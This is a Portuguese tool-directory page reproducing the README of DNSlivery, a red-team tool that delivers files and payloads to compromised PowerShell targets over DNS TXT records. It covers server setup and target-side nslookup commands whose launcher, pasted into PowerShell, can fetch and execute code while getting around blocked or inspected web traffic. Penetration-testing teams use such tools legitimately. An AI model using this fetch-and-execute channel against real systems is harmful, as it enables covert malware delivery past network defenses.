Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DNSlivery — Entrega fácil de arquivos e payloads via DNS | Kitploit
Ferramentas/GitHubGitHub/samybaiwir/dnslivery
Exfiltração de DadosTestes de PenetraçãoComando e ControleRed TeamingAnálise de DNS
GitHubsamybaiwir/dnslivery

DNSlivery

Entrega fácil de arquivos e payloads via DNS

Ver Repositório
426779há 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

python-3.7 Known Vulnerabilities

DNSlivery

Entrega fácil de arquivos e payloads via DNS.

  • DNSlivery
  • Agradecimentos
  • Descrição
    • TL;DR
    • Qual problema estamos tentando resolver?
    • Como funciona?
    • Requisitos
  • Configuração
    • Zona DNS
    • DNSlivery
  • Uso
    • Servidor
    • Alvo

Agradecimentos

Este projeto foi originalmente inspirado pelo PowerDNS e pelo segmento técnico de Joff Thyer no podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).

Descrição

TL;DR

O DNSlivery permite entregar arquivos a um alvo usando DNS como protocolo de transporte.

Recursos:

  • permite imprimir, executar ou salvar arquivos no alvo
  • não requer nenhum cliente no alvo
  • não requer um servidor DNS completo

demo-target.git

Qual problema estamos tentando resolver?

Entregar facilmente arquivos e/ou payloads a um alvo comprometido onde a entrega web clássica não é possível e sem a necessidade de um software cliente dedicado. Isso se aplica a ambientes restritos onde o tráfego web de saída é proibido ou simplesmente inspecionado por um proxy web curioso.

web-delivery-blocked.png

Embora ferramentas de tunelamento DNS mais completas já existam (como dnscat2 e iodine), todas exigem a execução de um cliente dedicado no alvo. O problema é que provavelmente não há outra forma além do DNS para entregar o cliente em ambientes tão restritos. Em outras palavras, construir um canal de comunicação DNS com essas ferramentas exige que você já tenha um canal de comunicação DNS.

Em comparação, o DNSlivery fornece apenas comunicação unidirecional do seu servidor para o alvo, mas não requer nenhum cliente dedicado para isso. Assim, se você precisar construir um canal de comunicação bidirecional confiável via DNS, use o DNSlivery para entregar o cliente de uma ferramenta de tunelamento DNS mais avançada ao seu alvo.

Como funciona?

Assim como a maioria das ferramentas de tunelamento DNS, o DNSlivery usa registros TXT para armazenar o conteúdo dos arquivos em sua representação base64. No entanto, ele não exige a configuração de um servidor DNS completo para funcionar. Em vez disso, usa a biblioteca scapy para escutar pacotes DNS recebidos e criar a resposta desejada.

network-process.png

Como a maioria dos arquivos não cabe em um único registro TXT, o DNSlivery criará vários registros ordenados contendo blocos base64 do arquivo. Como exemplo, o diagrama acima ilustra a entrega do 42º bloco do arquivo chamado file.

Para recuperar todos os blocos base64 e remontá-los sem a necessidade de um cliente dedicado no alvo, o DNSlivery gerará para cada arquivo:

  • um launcher simples em texto claro
  • um stager confiável codificado em base64

two-stages-delivery.png

Esse processo de entrega em duas etapas é necessário para adicionar recursos ao stager (como lidar com respostas DNS perdidas) que, de outra forma, não caberiam em um único registro TXT.

Nota sobre compatibilidade com o alvo

Atualmente, apenas alvos PowerShell são suportados. No entanto, o DNSlivery poderia ser aprimorado para suportar alvos adicionais, como bash ou python. Por favor, avise-me @no0be se este é um recurso que você gostaria de ver implementado.

Requisitos

O DNSlivery não exige a construção de uma infraestrutura de servidor complexa. Na verdade, existem apenas dois requisitos simples:

  • ser capaz de criar um registro NS na sua zona DNS pública
  • ter um servidor Linux capaz de receber tráfego udp/53 da Internet

Configuração

Zona DNS

O primeiro passo é delegar um subdomínio ao servidor que executará o DNSlivery, criando um novo registro NS no seu domínio. Como exemplo, criei o seguinte registro para delegar o subdomínio dnsd.no0.be ao servidor em vps.no0.be.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

Se a sua zona for gerenciada por um provedor terceirizado, consulte a documentação dele para criar o registro NS.

DNSlivery

Os únicos requisitos para executar o DNSlivery são python3 e sua biblioteca scapy.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Uso

Servidor

O DNSlivery servirá todos os arquivos de um diretório específico (pwd por padrão) e precisa ser executado com privilégios de root para escutar pacotes udp/53 recebidos.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

Exemplo:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

Nota sobre normalização de nomes de arquivo

Como o conjunto de caracteres permitido para nomes de domínio é muito mais restritivo do que para nomes de arquivo UNIX (conforme RFC1035), o DNSlivery realizará a normalização quando necessário.

Exemplo:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

Esteja ciente de que o código de normalização atual não é perfeito, pois não leva em consideração nomes de arquivo sobrepostos ou limite de tamanho.

Alvo

No alvo, comece recuperando o launcher do arquivo desejado solicitando seu registro TXT dedicado. Os três launchers a seguir são suportados:

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

Em seguida, basta copiar e colar o launcher citado na resposta DNS em um console PowerShell para recuperar o arquivo no alvo.

Exemplo:

demo-target.git

Baixar ferramenta
AçãoLauncherDescrição
Imprimir[filename].print.[domain](Padrão) Imprime o arquivo entregue no console
Executar[filename].exec.[domain]Executa o arquivo entregue (útil para scripts)
Salvar[filename].save.[domain]Salva o arquivo entregue em disco (útil para binários)